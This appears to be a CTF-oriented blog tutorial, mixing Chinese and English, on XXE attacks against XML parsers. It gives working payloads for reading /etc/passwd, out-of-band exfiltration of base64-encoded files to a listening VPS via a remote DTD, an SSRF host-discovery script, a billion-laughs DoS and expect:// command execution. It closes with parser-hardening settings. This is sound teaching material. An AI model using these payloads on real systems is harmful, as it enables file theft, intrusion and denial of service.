Basic Knowledge

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

What is XML

<?xml version="1.0" encoding="UTF-8"?> <!-- XML声明 -->
<note> <!-- 根元素 -->
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body> <!-- 这三行是子元素 -->
</note>

XML特点:
必须有根元素
必须有一个关闭标签
对大小写敏感
必须正确嵌套
* 属性值必须加引号

What is DTD

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

实体分为一般实体参数实体

<!-- 一般实体的声明与引用 -->
<!ENTITY 实体名称 "实体内容">
&实体名称;
<!-- 参数实体的声明与引用 -->
<!ENTITY % 实体名称 "实体内容">
%实体名称;

要注意的就是,参数实体只能在DTD中引用。而且实体字符(<、>、&、'、")要用对应的HTML编码字符替换。

 <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">

    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <in>&writer;©right;</in> <!-- 内部实体声明 -->
    <out>&file;©right;</out><!-- 外部实体声明 -->

XXE Attack

Read sensitive file

读文件有两种情况,一种是有回显的,另一种是要通过DTD发送到vps上的。
下面这种是带回显的,不过一般真实环境中是不大可能存在这种情况的!
结果如图:
-w532
但是要注意的是,读取的文件内容里面不能含xml结构的字符类似于“<>&”等等。如果非要存在的话,就需要用参数实体,结合CDATA构造<![CDATA[文件内容]]>就能避免解析异常。
接下来这个是要借助外部实体和DTD,

# xml.php
<?php
    libxml_disable_entity_loader (false);
    $xmlfile = <<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [  
<!ENTITY % remote SYSTEM "http://localhost/evil.dtd"> 
%remote;%msg;%send;
]> 
EOF;
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

逻辑就是,在xml.php创建一个参数实体,“include”一个dtd文件,dtd文件里面有两个参数实体,一个是将file协议读出来的进行base64编码,一个是通过get请求发送到我们监听了2333端口的vps

# evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/0akarma/Downloads/xxe.txt">
<!ENTITY % msg "<!ENTITY &#x25; send SYSTEM 'http://ip:2333?p=%file;'>">

在我们监听的vps上,就能收到带上我们读取内容的请求了。

# nc -lvp 2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 223.73.***.***.
Ncat: Connection from 223.73.***.***:5762.
GET /?p=VGhpcyBpcyB4eDxlLnR4dC4= HTTP/1.0
Host: ip
Connection: close

Intranet host discover(HTTP)

在CTF题中通常遇到这种情况一般要么给提示是内网题,要么就自己知道Linux一切皆文件这个特性,通过file协议去读取一些配置信息,如/proc/net/arp查看本机ARP缓存,/proc/self/environ查看环境变量……
如果能直接读当然是最好了,如果读不了,那就应该是根据出题人提示,然后靠脚本去爆破了~

root@6808533b3349:/var/www/html# cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.5       0x1         0x2         02:42:ac:13:00:05     *        eth0
172.19.0.8       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.6       0x1         0x2         02:42:ac:13:00:06     *        eth0
172.19.0.9       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.7       0x1         0x0         00:00:00:00:00:00     *        eth0
172.19.0.1       0x1         0x2         02:42:6d:59:af:db     *        eth0
172.19.0.4       0x1         0x2         02:42:ac:13:00:04     *        eth0
172.19.0.2       0x1         0x2         02:42:ac:13:00:02     *        eth0

用arp缓存检验一下脚本结果。

~/Downloads python hostdiscover.py
172.19.0.1
b''
172.19.0.2
b'\n\n<!DOCTYPE html>\n<html>\n<head>\n\n    <meta charset="utf-8">\n    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">\n    \n    \n    <meta name="keywords"  content="Blog,\xe5\x8d\x9a\xe5\xae\xa2,InforSec" />\n    <meta name="description" content="Stay hungry, stay foolish." />\n    <meta name="Author" content="" ="0aKarmA@\xe9\xaa\x85\xe6\x96\x87">\n    \n    <title>0aKarmA\'s Blog @ D0g3</title>
172.19.0.3
b''
172.19.0.4
b'<!doctype html>\n<html>\n<head>\n<meta charset="utf-8">\n<title>\xe6\x81\xad\xe5\x96\x9c\xef\xbc\x8c\xe7\xab\x99\xe7\x82\xb9\xe5\x88\x9b\xe5\xbb\xba\xe6\x88\x90\xe5\x8a\x9f\xef\xbc\x81</title>\n<link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.4/css/bootstrap.min.css">\n<script src="//cdn.bootcss.com/jquery/1.11.2/jquery.min.js"></script>\n
172.19.0.5
b''
172.19.0.6
b''
172.19.0.7
b''
172.19.0.8
b'<!DOCTYPE HTML><html lang=\'en\' dir=\'ltr\'><head><meta charset="utf-8" /><meta name="referrer" content="no-referrer" /><meta name="robots" content="noindex,nofollow" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><style id="cfs-style">html{display: none;}</style><link rel="icon" href="favicon.ico" type="image/x-icon" /><link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
172.19.0.9
b''

附上脚本

#coding:utf-8
import requests
import base64


url = 'http://ip/xml.php'

for i in range(1,10):
    host = '172.19.0.' + str(i)
    payload = 'php://filter/convert.base64-encode/resource=http://' + host

    xml = '''<?xml version="1.0" encoding="utf-8"?> \r
    <!DOCTYPE test [  \r
    <!ENTITY remote SYSTEM "{}">]>\r
    <test>&remote;</test>\r
    '''.format(payload)

    print(host)

    rq = requests.post(url, data=xml).text
    rq = rq.split('\n')[-2]
    print(base64.b64decode(rq))

Intranet host-ports discover(HTTP)

经过上一Part的操作,已经知道存活的主机有哪些,那么接下来只需用burp或者脚本去爆破主机开放了哪些端口。

DOS Attack

The famous billion laughs attack

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

一般XML解析器解析XML文档时一般都会存储在内存中,所以当递归创建实体,把服务器内存空间占用尽时,就造成了dos攻击。

RCE through php expect:// wrapper

这是PHP的一个拓展,默认未开启。

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://whoami">]>
<file>&cmd;</file>

Defend XXE Attack

通过官方的方法解决:

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

手动黑名单过滤(不推荐)

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

Conclusion

之前刷CTF题,好多都是有XXE考点的,总算有时间总结一波,夯实一下基础。

Reference

一篇文章带你深入理解漏洞之 XXE 漏洞

漏洞的学习与利用总结